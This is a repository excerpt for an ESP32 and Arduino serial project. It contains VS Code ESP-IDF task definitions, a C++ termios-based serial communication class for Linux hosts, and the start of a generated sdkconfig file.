"${env:PATH}:${config:idf.customExtraPaths}" 134 | } 135 | }, 136 | "problemMatcher": [ 137 | { 138 | "owner": "cpp", 139 | "fileLocation": [ 140 | "relative", 141 | "${workspaceFolder}" 142 | ], 143 | "pattern": { 144 | "regexp": "^\\.\\.(.*):(\\d+):(\\d+):\\s+(warning|error):\\s+(.*)$", 145 | "file": 1, 146 | "line": 2, 147 | "column": 3, 148 | "severity": 4, 149 | "message": 5 150 | } 151 | }, 152 | { 153 | "owner": "cpp", 154 | "fileLocation": "absolute", 155 | "pattern": { 156 | "regexp": "^[^\\.](.*):(\\d+):(\\d+):\\s+(warning|error):\\s+(.*)$", 157 | "file": 1, 158 | "line": 2, 159 | "column": 3, 160 | "severity": 4, 161 | "message": 5 162 | } 163 | } 164 | ] 165 | }, 166 | { 167 | "label": "Monitor: Start the monitor", 168 | "type": "shell", 169 | "command": "${config:idf.pythonBinPath} ${config:idf.espIdfPath}/tools/idf.py -p ${config:idf.port} monitor", 170 | "windows": { 171 | "command": "${config:idf.pythonBinPathWin} ${config:idf.espIdfPathWin}\\tools\\idf.py -p ${config:idf.portWin} monitor", 172 | "options": { 173 | "env": { 174 | "PATH": "${env:PATH};${config:idf.customExtraPaths}" 175 | } 176 | } 177 | }, 178 | "options": { 179 | "env": { 180 | "PATH": "${env:PATH}:${config:idf.customExtraPaths}" 181 | } 182 | }, 183 | "problemMatcher": [ 184 | { 185 | "owner": "cpp", 186 | "fileLocation": [ 187 | "relative", 188 | "${workspaceFolder}" 189 | ], 190 | "pattern": { 191 | "regexp": "^\\.\\.(.*):(\\d+):(\\d+):\\s+(warning|error):\\s+(.*)$", 192 | "file": 1, 193 | "line": 2, 194 | "column": 3, 195 | "severity": 4, 196 | "message": 5 197 | } 198 | }, 199 | { 200 | "owner": "cpp", 201 | "fileLocation": "absolute", 202 | "pattern": { 203 | "regexp": "^[^\\.](.*):(\\d+):(\\d+):\\s+(warning|error):\\s+(.*)$", 204 | "file": 1, 205 | "line": 2, 206 | "column": 3, 207 | "severity": 4, 208 | "message": 5 209 | } 210 | } 211 | ], 212 | "dependsOn": "Flash - Flash the device" 213 | }, 214 | { 215 | "label": "OpenOCD: Start openOCD", 216 | "type": "shell", 217 | "presentation": { 218 | "echo": true, 219 | "reveal": "never", 220 | "focus": false, 221 | "panel": "new" 222 | }, 223 | "command": "openocd -s ${command:espIdf.getOpenOcdScriptValue} ${command:espIdf.getOpenOcdConfigs}", 224 | "windows": { 225 | "command": "openocd.exe -s ${command:espIdf.getOpenOcdScriptValue} ${command:espIdf.getOpenOcdConfigs}", 226 | "options": { 227 | "env": { 228 | "PATH": "${env:PATH};${config:idf.customExtraPaths}" 229 | } 230 | } 231 | }, 232 | "options": { 233 | "env": { 234 | "PATH": "${env:PATH}:${config:idf.customExtraPaths}" 235 | } 236 | }, 237 | "problemMatcher": { 238 | "owner": "cpp", 239 | "fileLocation": "absolute", 240 | "pattern": { 241 | "regexp": "^(.*):(\\d+):(\\d+):\\s+(warning|error):\\s+(.*)$", 242 | "file": 1, 243 | "line": 2, 244 | "column": 3, 245 | "severity": 4, 246 | "message": 5 247 | } 248 | } 249 | }, 250 | { 251 | "label": "adapter", 252 | "type": "shell", 253 | "command": "${config:idf.pythonBinPath}", 254 | "isBackground": true, 255 | "options": { 256 | "env": { 257 | "PATH": "${env:PATH}:${config:idf.customExtraPaths}", 258 | "PYTHONPATH": "${command:espIdf.getExtensionPath}/esp_debug_adapter/debug_adapter" 259 | } 260 | }, 261 | "problemMatcher": { 262 | "background": { 263 | "beginsPattern": "\bDEBUG_ADAPTER_STARTED\b", 264 | "endsPattern": "DEBUG_ADAPTER_READY2CONNECT", 265 | "activeOnStart": true 266 | }, 267 | "pattern": { 268 | "regexp": "(\\d+)-(\\d+)-(\\d+)\\s(\\d+):(\\d+):(\\d+),(\\d+)\\s-(.+)\\s(ERROR)", 269 | "file": 8, 270 | "line": 2, 271 | "column": 3, 272 | "severity": 4, 273 | "message": 9 274 | } 275 | }, 276 | "args": [ 277 | "${command:espIdf.getExtensionPath}/esp_debug_adapter/debug_adapter_main.py", 278 | "-e", 279 | "${workspaceFolder}/build/${command:espIdf.getProjectName}.elf", 280 | "-s", 281 | "${command:espIdf.getOpenOcdScriptValue}", 282 | "-ip", 283 | "localhost", 284 | "-dn", 285 | "${config:idf.adapterTargetName}", 286 | "-om", 287 | "connect_to_instance" 288 | ], 289 | "windows": { 290 | "command": "${config:idf.pythonBinPathWin}", 291 | "options": { 292 | "env": { 293 | "PATH": "${env:PATH};${config:idf.customExtraPaths}", 294 | "PYTHONPATH": "${command:espIdf.getExtensionPath}/esp_debug_adapter/debug_adapter" 295 | } 296 | } 297 | } 298 | } 299 | ] 300 | } -------------------------------------------------------------------------------- /HostCode/ArduinoSerialIO/arduinoSerial.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | /* 16 | * ArduinoSerial 17 | * 18 | * This class enables communication with an Arduino over a serial port. 19 | * It is based on the Arduino Serial class, but is not a direct copy. 20 | * Only works on good operating systems. 21 | * This version implements timeout functionality. 22 | * 23 | * Features which will not be implemented (in this version): 24 | * - AvailableForWrite() 25 | * - Peek() 26 | * 27 | * Notes: 28 | * - The configuration of the serial port may not be correct. 29 | * - Flush is set up to behave as it did prior to arduino 1.0, it removes incoming data. 30 | */ 31 | 32 | class arduinoSerial { 33 | private: 34 | int fd; // The file descriptor for the serial port (Usually /dev/ttyACM0) 35 | std::string ttyName; // The name of the serial port (Usually /dev/ttyACM0). This string exists mainly for debugging purposes 36 | bool debug; // If true, debug messages will be printed to the console 37 | // Every single baud rate defined in termios.h or termios-baud.h: 38 | const std::array acceptableBaudRates = {B0, B50, B75, B110, B134, B150, B200, B300, B600, B1200, B1800, B2400, B4800, B9600, B19200, B38400, B57600, B115200, B230400, B460800, B500000, B576000, B921600, B1000000, B1152000, B1500000, B2000000, B2500000, B3000000, B3500000, B4000000}; 39 | long timeout = 1000; // The timeout for read operations. This is in milliseconds. Default is 1000ms (1 second) 40 | public: 41 | arduinoSerial(std::string port, bool debug=false); 42 | arduinoSerial(); 43 | ~arduinoSerial(); 44 | void openPort(std::string port); 45 | void closePort(); 46 | unsigned int available(); 47 | //unsigned int availableForWrite(); 48 | void begin(unsigned long baudRate); 49 | void end(); 50 | bool find(char target); 51 | bool find(std::string targetStr); 52 | bool findUntil(char target, char terminator); 53 | bool findUntil(std::string targetStr, char terminator); 54 | void flush(); 55 | float parseFloat(); 56 | long parseInt(); 57 | //int peek(); 58 | void print(std::string str); 59 | void print(char c); 60 | void print(int num); 61 | void print(float num); 62 | void println(std::string str); 63 | void println(char c); 64 | void println(int num); 65 | void println(float num); 66 | int read_s(); // read_s() is used instead of read() because read() is already taken by the C library. >:( 67 | size_t readBytes(char *buffer, size_t length); 68 | size_t readBytesUntil(char terminator, char *buffer, size_t length); 69 | std::string readString(); 70 | std::string readStringUntil(char terminator); 71 | void setTimeout(unsigned long timeout); 72 | size_t write_s(char byte); // Named like read_s for the same reason 73 | size_t write_s(char *buffer, size_t size); 74 | }; 75 | 76 | 77 | 78 | #define BUFFERSIZE 1024 // Used by functions that are not provided a buffer by the user (e.g. readString()). This could be as small as 1, but i dont think a single kb is too much to ask for. 79 | 80 | // Constructor 81 | arduinoSerial::arduinoSerial(std::string port, bool debug){ 82 | this->debug = debug; 83 | this->ttyName = port; 84 | if(this->debug){ std::cout << "aurdioSeral object created. ttyName = " << this->ttyName << "\n"; } 85 | } 86 | 87 | // Default constructor 88 | arduinoSerial::arduinoSerial(){ 89 | this->debug = false; 90 | this->ttyName = "/dev/ttyACM0"; 91 | if(this->debug){ std::cout << "aurdioSeral object created. ttyName = " << this->ttyName << "\n"; } 92 | } 93 | 94 | // Destructor 95 | arduinoSerial::~arduinoSerial(){ 96 | if(this->debug){ std::cout << "~arduinoSerial() called\n"; } 97 | this->end(); 98 | } 99 | 100 | /* 101 | Change the serial port that the object is using. 102 | After calling this function, begin() must be called again. 103 | */ 104 | void arduinoSerial::openPort(std::string port){ 105 | this->ttyName = port; 106 | if(this->debug){ std::cout << "openPort(): ttyName = " << this->ttyName << "\n"; } 107 | } 108 | 109 | /* 110 | * Close the serial port. 111 | */ 112 | void arduinoSerial::closePort(){ 113 | if(this->debug){ std::cout << "close(): Closing serial port\n"; } 114 | close(this->fd); 115 | } 116 | 117 | /* 118 | * Get the number of bytes (characters) available for reading from the serial port. 119 | */ 120 | unsigned int arduinoSerial::available(){ 121 | int bytesAvailable; 122 | ioctl(this->fd, FIONREAD, &bytesAvailable); 123 | if(this->debug){ std::cout << "available(): Detected " << bytesAvailable << " bytes available\n"; } 124 | return bytesAvailable; 125 | } 126 | 127 | /* 128 | * Get the number of bytes (characters) available for writing in the serial buffer without blocking the write operation. 129 | * This isnt really something I need to implement, I dont think. I'll leave it here for now, but it may be removed in the future. 130 | unsigned int arduinoSerial::availableForWrite(){ 131 | std::cout << "AvailableForWrite(): Function not implemented, returning -1\n"; 132 | return -1; 133 | } 134 | */ 135 | 136 | void arduinoSerial::begin(unsigned long baudRate){ 137 | // Check if the baud rate is valid: 138 | if(std::find(this->acceptableBaudRates.begin(), this->acceptableBaudRates.end(), baudRate) == this->acceptableBaudRates.end()){ 139 | throw std::invalid_argument("begin(): Invalid baud rate - " + std::to_string(baudRate) + " is not a valid baud rate, see termios.h or termios-baud.h for a list of valid baud rate macros (Hint: format is B)"); 140 | return; 141 | } 142 | this->fd = open(this->ttyName.c_str(), O_RDWR | O_NOCTTY | O_NDELAY); // Open the file descriptor 143 | if(this->fd == -1){ 144 | throw std::runtime_error("begin(): Unable to start the serial port " + this->ttyName); 145 | } 146 | if(this->debug){ std::cout << "begin(): Serial port " << this->ttyName << " opened\n"; } 147 | fcntl(this->fd, F_SETFL, O_NONBLOCK); // Set the file descriptor to nonblocking mode 148 | struct termios options; 149 | tcgetattr(this->fd, &options); // Get the current options for the port 150 | cfsetispeed(&options, baudRate); // Set the baud rates 151 | cfsetospeed(&options, baudRate); 152 | /* 153 | !!!! You may need to change these options to get your serial device working as expected 154 | !!!! Dont forget about this if you are having weird issues with data not being sent or received properly 155 | */ 156 | // These options were required to get my ESP32 to work properly (copied from how the esp-idf monitor configured them): 157 | options.c_iflag &= ~ICRNL; // Disable carriage return to newline mapping 158 | options.c_iflag &= ~IXON; // Disable XON/XOFF flow control on output 159 | options.c_oflag &= ~OPOST; // Disable output processing 160 | options.c_oflag &= ~ONLCR; // Disable mapping NL to CR-NL on output 161 | options.c_lflag &= ~IEXTEN; // Disable input processing 162 | options.c_lflag &= ~ECHOK; // Disable kill char erasing the current line 163 | options.c_lflag &= ~ECHOCTL; // Disable echoing special chars as ^x 164 | options.c_lflag &= ~ECHOKE; // Disable kill echoed by erasing each char on the line 165 | // These options were copied from some github repo when i was first making this class: 166 | options.c_cflag |= (CLOCAL | CREAD); // Enable the receiver and set local mode 167 | options.c_cflag &= ~CSIZE; // Mask the character size bits 168 | options.c_cflag |= CS8; // Select 8 data bits 169 | options.c_cflag &= ~PARENB; // No parity 170 | options.c_cflag &= ~CSTOPB; // 1 Stop bit 171 | options.c_cflag &= ~CSIZE; // Char size mask 172 | options.c_cflag |= CS8; // 8 bits 173 | options.c_lflag &= ~(ICANON | ECHO | ECHOE | ISIG); // Raw input mode 174 | tcsetattr(this->fd, TCSANOW, &options); // Set the new options for the port 175 | //sleep(1); // Wait for the Arduino to reset 176 | tcflush(this->fd, TCIFLUSH); 177 | if(this->debug){ std::cout << "begin(): Serial port " << this->ttyName << " configured. File descriptor: " << this->fd << "\n"; } 178 | } 179 | 180 | void arduinoSerial::end(){ 181 | close(this->fd); // Close the file descriptor 182 | if(this->debug){ std::cout << "end(): Serial port " << this->ttyName << " closed\n"; } 183 | } 184 | 185 | /* 186 | * Reads data from the serial buffer intil the target string is found. 187 | * Returns true if the target string was found, false otherwise. 188 | * Times out if the target string is not found within the specified timeout period (this->timeout). 189 | */ 190 | bool arduinoSerial::find(char target){ 191 | auto start = std::chrono::high_resolution_clock::now(); 192 | char c; 193 | while(std::chrono::duration_cast(std::chrono::high_resolution_clock::now() - start).count() < this->timeout){ 194 | c = this->read_s(); 195 | if(c == target){ 196 | if(this->debug){ std::cout << "find(): Found target '" << target << "in " << this->ttyName << "\n"; } 197 | return true; 198 | } 199 | } 200 | if(this->debug){ std::cout << "find(): Timed out while searching for target '" << target << "' in " << this->ttyName << "\n"; } 201 | return false; 202 | } 203 | 204 | /* 205 | * Reads data from the serial buffer intil the target string is found. 206 | * Returns true if the target string was found, false otherwise. 207 | * Times out if the target string is not found within the specified timeout period (this->timeout). 208 | */ 209 | bool arduinoSerial::find(std::string targetStr){ 210 | auto start = std::chrono::high_resolution_clock::now(); 211 | std::string buffer = ""; 212 | char c; 213 | while(std::chrono::duration_cast(std::chrono::high_resolution_clock::now() - start).count() < this->timeout){ 214 | c = this->read_s(); 215 | if(c != -1){ 216 | buffer += c; 217 | if(buffer.find(targetStr) != std::string::npos){ 218 | if(this->debug){ std::cout << "find(): Found target '" << targetStr << "' in " << this->ttyName << "\n"; } 219 | return true; 220 | } 221 | std::cout << "find(): buffer = " << buffer << "\n"; 222 | } 223 | } 224 | if(this->debug){ std::cout << "find(): Timed out while searching for target '" << targetStr << "' in " << this->ttyName << "\n"; } 225 | return false; 226 | } 227 | 228 | /* 229 | * Reads data from the serial buffer intil the target string is found. 230 | * Returns true if the target string was found, false otherwise. 231 | * Returns false if the termination character is found 232 | * Times out if the target string is not found within the specified timeout period (this->timeout). 233 | */ 234 | bool arduinoSerial::findUntil(char target, char terminator){ 235 | auto start = std::chrono::high_resolution_clock::now(); 236 | char c; 237 | while(std::chrono::duration_cast(std::chrono::high_resolution_clock::now() - start).count() < this->timeout){ 238 | c = this->read_s(); 239 | if(c == target){ 240 | if(this->debug){ std::cout << "findUntil(): Found target '" << target << "' in " << this->ttyName << "\n"; } 241 | return true; 242 | } 243 | if(c == terminator){ 244 | if(this->debug){ std::cout << "findUntil(): Found terminator '" << terminator << "' in " << this->ttyName << "\n"; } 245 | return false; 246 | } 247 | } 248 | if(this->debug){ std::cout << "findUntil(): Timed out while searching for target '" << target << "' in " << this->ttyName << "\n"; } 249 | return false; 250 | } 251 | bool arduinoSerial::findUntil(std::string targetStr, char terminator){ 252 | auto start = std::chrono::high_resolution_clock::now(); 253 | std::string buffer = ""; 254 | char c; 255 | while(std::chrono::duration_cast(std::chrono::high_resolution_clock::now() - start).count() < this->timeout){ 256 | c = this->read_s(); 257 | if(c != -1){ 258 | buffer += c; 259 | if(buffer.find(targetStr) != std::string::npos){ 260 | if(this->debug){ std::cout << "findUntil(): Found target '" << targetStr << "' in " << this->ttyName << "\n"; } 261 | return true; 262 | } 263 | if(c == terminator){ 264 | if(this->debug){ std::cout << "findUntil(): Found terminator '" << terminator << "' in " << this->ttyName << "\n"; } 265 | return false; 266 | } 267 | } 268 | } 269 | if(this->debug){ std::cout << "findUntil(): Timed out while searching for target '" << targetStr << "' in " << this->ttyName << "\n"; } 270 | return false; 271 | } 272 | 273 | /* 274 | * Removes incoming serial data from the serial buffer. 275 | */ 276 | void arduinoSerial::flush(){ 277 | tcflush(this->fd, TCIOFLUSH); 278 | if(this->debug){ std::cout << "flush(): Flushed " << this->ttyName << "\n"; } 279 | } 280 | 281 | /* 282 | * Looks for the next valid float in the incoming serial. 283 | * (based on ASCII digits, decimal point, and negative sign). 284 | * Times out if no valid float is found within the specified timeout period (this->timeout). 285 | */ 286 | float arduinoSerial::parseFloat(){ 287 | auto start = std::chrono::high_resolution_clock::now(); 288 | std::string numStr; // Used to store the number as a string (so we can convert it to a float using std::stof()) 289 | bool allowDecimal = true; // Used to make sure there is only one decimal point in the number 290 | while(std::chrono::duration_cast(std::chrono::high_resolution_clock::now() - start).count() < this->timeout){ 291 | char c = this->read_s(); 292 | // First perform all checks which would cause the function to return the current value of numStr. This includes the end of the buffer, and the end of the number. 293 | if(c == -1){ // Return numStr if end of buffer is reached 294 | if(this->debug){ std::cout << "parseFloat(): Reached end of buffer, returning " << numStr << "\n"; } 295 | return (numStr.length() > 0)? std::stof(numStr) : 0; // If numStr is empty, return 0 296 | } 297 | if(numStr.length() > 0 && !isdigit(c) && c != '.' && c != '-'){ // Return numStr if numStr.length() > 0 and the current character is not a digit, decimal point, or negative sign 298 | if(this->debug){ std::cout << "parseFloat(): Found non-digit, non-decimal point, non-negative sign, returning " << numStr << "\n"; } 299 | return (numStr.length() > 0)? std::stof(numStr) : 0; // If numStr is empty, return 0 300 | } 301 | if(c == '.' && !allowDecimal){ // Return numStr if the current character is a decimal point and allowDecimal is false 302 | if(this->debug){ std::cout << "parseFloat(): Found second decimal point, returning " << numStr << "\n"; } 303 | return (numStr.length() > 0)? std::stof(numStr) : 0; // If numStr is empty, return 0 304 | } 305 | if(c == '-' && numStr.length() > 0){ // Return numStr if the current character is a negative sign and numStr.length() > 0 306 | if(this->debug){ std::cout << "parseFloat(): Found negative sign in the middle of a number, returning " << numStr << "\n"; } 307 | return (numStr.length() > 0)? std::stof(numStr) : 0; // If numStr is empty, return 0 308 | } 309 | // Now that we know that we dont have to return numStr, we can add the current character to numStr (as long as it is a digit, decimal point, or negative sign) 310 | if(c == '.'){ allowDecimal = false; } 311 | if(isdigit(c) || c == '.' || c == '-'){ numStr += c; } 312 | 313 | } 314 | if(this->debug){ std::cout << "parseFloat(): Timed out while searching for a float, returning " << numStr << "\n"; } 315 | return (numStr.length() > 0)? std::stof(numStr) : 0; // If numStr is empty, return 0 316 | } 317 | 318 | /* 319 | * Looks for the next valid integer in the incoming serial. Will read until it finds a valid integer. 320 | * (based on ASCII digits, and negative sign). 321 | */ 322 | long arduinoSerial::parseInt(){ 323 | auto start = std::chrono::high_resolution_clock::now(); 324 | long num = 0; 325 | char lastC; // Used to keep track of sign of number 326 | bool sign = true; // True if positive, false if negative 327 | while(std::chrono::duration_cast(std::chrono::high_resolution_clock::now() - start).count() < this->timeout){ 328 | char c = this->read_s(); 329 | lastC = c; 330 | if(isdigit(c)){ 331 | if(lastC == '-'){ 332 | sign = false; 333 | } 334 | num = num * 10 + (c - '0'); 335 | }else if(num != 0){ 336 | if(this->debug){ std::cout << "parseInt(): Found integer " << num * (sign? 1 : -1) << "\n"; } 337 | return num * (sign? 1 : -1); 338 | } 339 | } 340 | if(this->debug){ std::cout << "parseInt(): Timed out while searching for an integer, returning " << num * (sign? 1 : -1) << "\n"; } 341 | return num * (sign? 1 : -1); 342 | } 343 | 344 | /* 345 | * Returns the next byte of incoming serial data without removing it from the internal serial buffer. 346 | * WONT IMPLEMENT, pushing a character back into the buffer doesnt seem to work when i tried and i cant be bothered to find the actual solution. 347 | int arduinoSerial::peek(){ 348 | return -1; 349 | } 350 | */ 351 | 352 | /* 353 | * Prints data to the serial port (as human-readable ASCII text ?maybe?) 354 | * Will need to write a few overloaded functions for different data types 355 | * Could probably use templates 356 | */ 357 | void arduinoSerial::print(std::string str){ 358 | write(this->fd, str.c_str(), str.length()); 359 | if(this->debug){ std::cout << "print(): Wrote " << str.length() << " bytes to " << this->ttyName << "\n"; } 360 | } 361 | void arduinoSerial::print(char c){ 362 | write(this->fd, &c, 1); 363 | if(this->debug){ std::cout << "print(): Wrote 1 byte to " << this->ttyName << "\n"; } 364 | } 365 | void arduinoSerial::print(int i){ 366 | std::string str = std::to_string(i); 367 | write(this->fd, str.c_str(), str.length()); 368 | if(this->debug){ std::cout << "print(): Wrote " << str.length() << " bytes to " << this->ttyName << "\n"; } 369 | } 370 | void arduinoSerial::print(float f){ 371 | std::string str = std::to_string(f); 372 | write(this->fd, str.c_str(), str.length()); 373 | if(this->debug){ std::cout << "print(): Wrote " << str.length() << " bytes to " << this->ttyName << "\n"; } 374 | } 375 | 376 | /* 377 | * Prints data to the serial port followed by a newline as human-readable ASCII text. 378 | * Will need to write a few overloaded functions for different data types 379 | */ 380 | void arduinoSerial::println(std::string str){ 381 | int bytes_written = write(this->fd, str.c_str(), str.length()); 382 | bytes_written += write(this->fd, "\n\r", 2); 383 | if(this->debug){ std::cout << "println(): Wrote " << bytes_written << " bytes to " << this->ttyName << "\n"; } 384 | } 385 | void arduinoSerial::println(char c){ 386 | int bytes_written = write(this->fd, &c, 1); 387 | bytes_written += write(this->fd, "\n\r", 2); 388 | if(this->debug){ std::cout << "println(): Wrote " << bytes_written << " bytes to " << this->ttyName << "\n"; } 389 | } 390 | void arduinoSerial::println(int i){ 391 | std::string str = std::to_string(i); 392 | int bytes_written = write(this->fd, str.c_str(), str.length()); 393 | bytes_written += write(this->fd, "\n\r", 2); 394 | if(this->debug){ std::cout << "println(): Wrote " << bytes_written << " bytes to " << this->ttyName << "\n"; } 395 | } 396 | void arduinoSerial::println(float f){ 397 | std::string str = std::to_string(f); 398 | int bytes_written = write(this->fd, str.c_str(), str.length()); 399 | bytes_written += write(this->fd, "\n\r", 2); 400 | if(this->debug){ std::cout << "println(): Wrote " << bytes_written << " bytes to " << this->ttyName << "\n"; } 401 | } 402 | 403 | /* 404 | * This function reads a single byte from the serial port. 405 | * It returns -1 if no data is available. 406 | * Function is called read_s() because read() is already taken by the C library. 407 | */ 408 | int arduinoSerial::read_s(){ 409 | unsigned char byte; 410 | int bytesRead = read(this->fd, &byte, 1); 411 | if(bytesRead == -1){ 412 | if(this->debug){ std::cout << "read_s(): Did not read from serial port " << this->ttyName << " (Returned -1) - Buffer is likely empty\n"; } 413 | return -1; 414 | } 415 | if(bytesRead == 0){ 416 | if(this->debug){ std::cout << "read_s(): ERROR reading from serial port " << this->ttyName << " (Returned 0, EOF) - !!! " << this->ttyName << " is likely not accessible !!!\n"; } 417 | return -1; 418 | } 419 | return byte; 420 | } 421 | 422 | /* 423 | * Reads characters from the serial port into a buffer. 424 | * The function terminates if the terminator character is read, or if it times out. 425 | * Returns the number of bytes placed in the buffer (0 means no valid data found). 426 | */ 427 | size_t arduinoSerial::readBytes(char *buffer, size_t length){ 428 | auto start = std::chrono::high_resolution_clock::now(); 429 | size_t bytesRead = 0; 430 | while(bytesRead != length && std::chrono::duration_cast(std::chrono::high_resolution_clock::now() - start).count() < this->timeout){ 431 | int byte = this->read_s(); 432 | if(byte != -1){ 433 | buffer[bytesRead] = byte; 434 | bytesRead++; 435 | } 436 | } 437 | if(this->debug && bytesRead == length){ std::cout << "readBytes(): Finished reading from serial port " << this->ttyName << " (specified number of bytes was read)\n"; } 438 | if(this->debug && bytesRead != length){ std::cout << "readBytes(): Timed out reading from serial port " << this->ttyName << " (specified number of bytes was not read)\n"; } 439 | if(this->debug){ std::cout << "readBytes(): Read " << bytesRead << " bytes from serial port " << this->ttyName << "\n"; } 440 | return bytesRead; 441 | } 442 | 443 | /* 444 | * Reads characters from the serial port into a buffer. 445 | * The function terminates if the terminator character is read, or if it times out. 446 | * Returns the number of bytes placed in the buffer (0 means no valid data found). 447 | */ 448 | size_t arduinoSerial::readBytesUntil(char terminator, char *buffer, size_t length){ 449 | auto start = std::chrono::high_resolution_clock::now(); 450 | size_t bytesRead = 0; 451 | while(bytesRead != length && std::chrono::duration_cast(std::chrono::high_resolution_clock::now() - start).count() < this->timeout){ 452 | char byte = this->read_s(); // Read the next byte in the serial port using the read_s() function from above 453 | if(byte != -1){ 454 | buffer[bytesRead] = byte; 455 | bytesRead++; 456 | } 457 | if(byte == terminator){ 458 | if(this->debug){ std::cout << "readBytesUntil(): Terminator character found, stopping read\n"; } 459 | break; 460 | } 461 | } 462 | if(this->debug && bytesRead == length){ std::cout << "readBytesUntil(): Finished reading from serial port " << this->ttyName << " (specified number of bytes was read)\n"; } 463 | if(this->debug && bytesRead != length){ std::cout << "readBytesUntil(): Timed out reading from serial port " << this->ttyName << " (specified number of bytes was not read)\n"; } 464 | if(this->debug){ std::cout << "readBytesUntil(): Read " << bytesRead << " bytes from serial port " << this->ttyName << "\n"; } 465 | return bytesRead; 466 | } 467 | 468 | /* 469 | * Reads characters from the serial port into a std::string. 470 | * The function terminates if it times out. 471 | */ 472 | std::string arduinoSerial::readString(){ 473 | auto start = std::chrono::high_resolution_clock::now(); 474 | char buffer[BUFFERSIZE]; // Create a buffer to store the data 475 | std::string str = ""; // Create a string to return 476 | while(std::chrono::duration_cast(std::chrono::high_resolution_clock::now() - start).count() < this->timeout){ 477 | size_t bytesRead = this->readBytes(buffer, BUFFERSIZE); // Read the data into the buffer local to this function 478 | for(size_t i = 0; i < bytesRead; i++){ 479 | str += buffer[i]; // Add the data to the string 480 | } 481 | } 482 | if(this->debug){ std::cout << "readString(): Timeout reached, read std::string from serial port " << this->ttyName << ", bytes read: " << str.length() << "\n"; } 483 | return str; 484 | } 485 | 486 | /* 487 | * Reads characters from the serial port into a std::string. 488 | * The function terminates if the terminator character is read, or if it times out. 489 | */ 490 | std::string arduinoSerial::readStringUntil(char terminator){ 491 | auto start = std::chrono::high_resolution_clock::now(); 492 | std::string str = ""; // Create a string to return 493 | while(std::chrono::duration_cast(std::chrono::high_resolution_clock::now() - start).count() < this->timeout){ 494 | char byte = this->read_s(); // Read the next byte in the serial port using the read_s() function from above 495 | if(byte != -1){ 496 | str += byte; // Add the data to the string 497 | } 498 | if(byte == terminator){ 499 | if(this->debug){ std::cout << "readStringUntil(): Terminator character found, stopping read\n"; } 500 | break; 501 | } 502 | } 503 | if(this->debug){ std::cout << "readStringUntil(): Read std::string from serial port " << this->ttyName << ", bytes read: " << str.length() << "\n"; } 504 | return str; 505 | } 506 | 507 | /* 508 | * Sets the timeout for read operations. 509 | * The timeout is specified in milliseconds. 510 | * Default is 1000 ms. 511 | */ 512 | void arduinoSerial::setTimeout(unsigned long timeout){ 513 | this->timeout = timeout; 514 | if(this->debug){ std::cout << "setTimeout(): Set timeout to " << this->timeout << " ms\n"; } 515 | } 516 | 517 | /* 518 | * Writes binary data to the serial port. 519 | * Data is sent as a byte or series of bytes. 520 | */ 521 | size_t arduinoSerial::write_s(char byte){ 522 | int bytesWritten = write(this->fd, &byte, 1); 523 | if(bytesWritten == -1 || bytesWritten == 0){ 524 | if(this->debug){ std::cout << "write_s(): Error writing to serial port " << this->ttyName << " (bytesWritten == -1 or 0)\n"; } 525 | return -1; 526 | } 527 | if(this->debug){ std::cout << "write_s(): Wrote " << bytesWritten << " bytes to " << this->ttyName << "\n"; } 528 | return bytesWritten; 529 | } 530 | 531 | size_t arduinoSerial::write_s(char *buffer, size_t size){ 532 | int bytesWritten = write(this->fd, buffer, size); 533 | if(bytesWritten == -1 || bytesWritten == 0){ 534 | if(this->debug){ std::cout << "write_s(): Error writing to serial port " << this->ttyName << " (bytesWritten == -1 or 0)\n"; } 535 | return -1; 536 | } 537 | if(this->debug){ std::cout << "write_s(): Wrote " << bytesWritten << " bytes to " << this->ttyName << "\n"; } 538 | return bytesWritten; 539 | } 540 | -------------------------------------------------------------------------------- /ESPCode/sdkconfig: -------------------------------------------------------------------------------- 1 | # 2 | # Automatically generated file. DO NOT EDIT. 3 | # Espressif IoT Development Framework (ESP-IDF) Project Configuration 4 | # 5 | CONFIG_SOC_BROWNOUT_RESET_SUPPORTED="Not determined" 6 | CONFIG_SOC_TWAI_BRP_DIV_SUPPORTED="Not determined" 7 | CONFIG_SOC_DPORT_WORKAROUND="Not determined" 8 | CONFIG_SOC_CAPS_ECO_VER_MAX=3 9 | CONFIG_SOC_ADC_SUPPORTED=y 10 | CONFIG_SOC_DAC_SUPPORTED=y 11 | CONFIG_SOC_MCPWM_SUPPORTED=y 12 | CONFIG_SOC_SDMMC_HOST_SUPPORTED=y 13 | CONFIG_SOC_BT_SUPPORTED=y 14 | CONFIG_SOC_PCNT_SUPPORTED=y 15 | CONFIG_SOC_WIFI_SUPPORTED=y 16 | CONFIG_SOC_SDIO_SLAVE_SUPPORTED=y 17 | CONFIG_SOC_TWAI_SUPPORTED=y 18 | CONFIG_SOC_EMAC_SUPPORTED=y 19 | CONFIG_SOC_ULP_SUPPORTED=y 20 | CONFIG_SOC_CCOMP_TIMER_SUPPORTED=y 21 | CONFIG_SOC_RTC_FAST_MEM_SUPPORTED=y 22 | CONFIG_SOC_RTC_SLOW_MEM_SUPPORTED=y 23 | CONFIG_SOC_RTC_MEM_SUPPORTED=y 24 | CONFIG_SOC_I2S_SUPPORTED=y 25 | CONFIG_SOC_RMT_SUPPORTED=y 26 | CONFIG_SOC_SDM_SUPPORTED=y 27 | CONFIG_SOC_SUPPORT_COEXISTENCE=y 28 | CONFIG_SOC_AES_SUPPORTED=y 29 | CONFIG_SOC_MPI_SUPPORTED=y 30 | CONFIG_SOC_SHA_SUPPORTED=y 31 | CONFIG_SOC_FLASH_ENC_SUPPORTED=y 32 | CONFIG_SOC_SECURE_BOOT_SUPPORTED=y 33 | CONFIG_SOC_TOUCH_SENSOR_SUPPORTED=y 34 | CONFIG_SOC_DPORT_WORKAROUND_DIS_INTERRUPT_LVL=5 35 | CONFIG_SOC_XTAL_SUPPORT_26M=y 36 | CONFIG_SOC_XTAL_SUPPORT_40M=y 37 | CONFIG_SOC_XTAL_SUPPORT_AUTO_DETECT=y 38 | CONFIG_SOC_ADC_RTC_CTRL_SUPPORTED=y 39 | CONFIG_SOC_ADC_DIG_CTRL_SUPPORTED=y 40 | CONFIG_SOC_ADC_DMA_SUPPORTED=y 41 | CONFIG_SOC_ADC_PERIPH_NUM=2 42 | CONFIG_SOC_ADC_MAX_CHANNEL_NUM=10 43 | CONFIG_SOC_ADC_ATTEN_NUM=4 44 | CONFIG_SOC_ADC_DIGI_CONTROLLER_NUM=2 45 | CONFIG_SOC_ADC_PATT_LEN_MAX=16 46 | 